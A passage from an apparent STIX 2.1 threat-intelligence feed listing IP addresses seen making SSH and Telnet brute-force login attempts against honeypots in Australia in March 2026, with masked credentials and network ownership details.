      "created": "2026-03-02T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 208397. Organisation(s): Infostroy LLC.",
      "id": "indicator--7823754c-7a5e-4070-9819-a3390275e2e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.99.101.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:15:13.000Z",
      "valid_until": "2026-04-03T10:15:11.000Z"
    },
    {
      "created": "2026-03-02T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--262664e4-2d19-4164-8626-97fa8af55489",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:15:13.000Z",
      "valid_until": "2026-04-03T10:15:11.000Z"
    },
    {
      "created": "2026-03-02T10:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 118. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 38719. Organisation(s): Dreamscape Networks Limited. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2******Z, 3***********4, 3**********4, A********a, A*******4.",
      "id": "indicator--eddbb4a4-02a1-4bc6-ba7e-36c256d402fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '43.245.97.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:15:13.000Z",
      "valid_until": "2026-04-03T10:15:11.000Z"
    },
    {
      "created": "2026-03-02T10:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 200593. Organisation(s): Prospero Ooo.",
      "id": "indicator--15d786a1-b30c-44d0-8db6-b0517ef1da37",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T10:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '91.215.85.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T10:15:13.000Z",
      "valid_until": "2026-04-03T10:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137951. Organisation(s): ASLINE LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2**0, 3***********4, 3**********4, @*******6, q********8.",
      "id": "indicator--e63b25d3-abb1-4d02-b590-a65631b2aa8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.100.69.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 141858. Organisation(s): Chota Bheam Industries. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 2**0, 3***********4, 3**********4, @*******6, h******3.",
      "id": "indicator--c8e10c83-a240-476e-b7f0-e93e0ff56b04",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.165.116.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 38253. Organisation(s): Hanoi Telecom JSC. Usernames observed (masked): r**t. Passwords observed (masked): !******x.",
      "id": "indicator--4b355d74-0433-400b-9b8a-cab27dabb4da",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.172.236.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): @*****6.",
      "id": "indicator--7794e457-1c70-47c3-bd25-021d3621f109",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.217.144.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t. Passwords observed (masked): h******3, k***s, q********8.",
      "id": "indicator--8f1dcfb6-0fb5-48a6-b560-9ccfef173593",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '108.174.57.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, P******d.",
      "id": "indicator--1fb266cb-d2cd-4484-b7d8-3c1f3fff5969",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '137.184.43.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--3def49e6-22df-4471-afd7-26ca26cc8557",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): ***, s****a, u****u. Passwords observed (masked): ***, s****a, u****u.",
      "id": "indicator--f0b5aad2-df8e-4c05-b525-56e8aa5b4996",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.172.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 49. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, a***n, p******d, r**t.",
      "id": "indicator--12726872-9783-4973-b5dc-f5974cfc75b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.68.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, Q********4, a******3, q********8.",
      "id": "indicator--17f7b8da-6d0d-45be-a5ca-5b9efde213b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.172.120.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--8c29adc5-1dd1-48cf-95e7-3222108e62be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '176.65.132.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MX. ASN(s): 8151. Organisation(s): UNINET. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, @*******6, Q********4, a***d.",
      "id": "indicator--b2746173-b06e-4364-9762-99a5114ef2f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '189.147.20.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******0, 3***********4, 3**********4, a********b, a*******z.",
      "id": "indicator--f57d8c72-f1fa-475a-85be-7389da02f10f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.3.179.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 53667. Organisation(s): FranTech Solutions. Usernames observed (masked): r**t. Passwords observed (masked): P******D, y*******6.",
      "id": "indicator--bc7947fb-608e-4c9f-bfe7-2fac0d64ce86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '198.98.55.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 15974. Organisation(s): Joint Stock Company TransTeleCom.",
      "id": "indicator--a79bb515-a0b1-44ce-99f5-cbc9ba829e5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.234.164.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T11:15:14.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 39494. Organisation(s): Jsc ru-center.",
      "id": "indicator--445f8c9b-5193-46a1-b3c4-2c50c03c0147",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T11:15:14.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '89.111.140.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T11:15:14.000Z",
      "valid_until": "2026-04-03T11:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, A********#, F******6, H******3.",
      "id": "indicator--d34ee42d-2b94-459e-8a69-8b18a14c216b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.23.199.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 176. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, F******6, H******3, P***********5, P**************d.",
      "id": "indicator--d7a7ba5f-12e4-40e4-bd78-086b2211ce1d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.251.244.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--42618dce-e056-4135-b48c-3e3089744da3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.59.95.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CA. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, r**t.",
      "id": "indicator--77ac564f-a62e-46ef-90de-3b36bb5650eb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.249.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 1267. Organisation(s): Wind Tre S.p.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******d, 3****9, B********3.",
      "id": "indicator--6d9d2a6a-d5e6-4f50-9c34-d41465b1ff10",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '151.71.35.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--7e1ce357-d873-454d-a0f0-b26be50481fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '162.142.125.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--f898de0b-cd48-4e00-8962-404e6793c006",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '167.94.138.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262773. Organisation(s): PROXXIMA TELECOMUNICACOES SA.",
      "id": "indicator--601d33c5-7e61-4a42-810a-0c1dd9c62bfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '168.197.73.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 253. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1**4.",
      "id": "indicator--e75075a5-3190-4c00-abed-40f0fedf1e87",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.241.142.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 200. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TN. ASN(s): 327934. Organisation(s): Tunisie-Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, 1*******d, 3****9, B********3.",
      "id": "indicator--4f79f294-9da6-4adf-8942-cb50d1ba0ed3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.5.145.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: EG. ASN(s): 8452. Organisation(s): TE Data.",
      "id": "indicator--64c98d25-25fe-4535-82c6-d5df63237ffe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '197.60.244.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--c23a9cb8-4718-4441-ba22-20596e3c338d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '206.168.34.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 134. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AU. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1**4, 1***5.",
      "id": "indicator--fc44f31a-3456-42f5-9dd2-a8823663ad33",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '209.38.24.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****0, 1******x, 3***********4, 3**********4, A********6.",
      "id": "indicator--1194eb6e-9178-4ed1-af8e-b1657db0f29a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-02T12:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '220.118.173.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-02T12:15:13.000Z",
      "valid_until": "2026-04-03T12:15:11.000Z"
    },
    {
      "created": "2026-03-02T12:15:13.000Z",
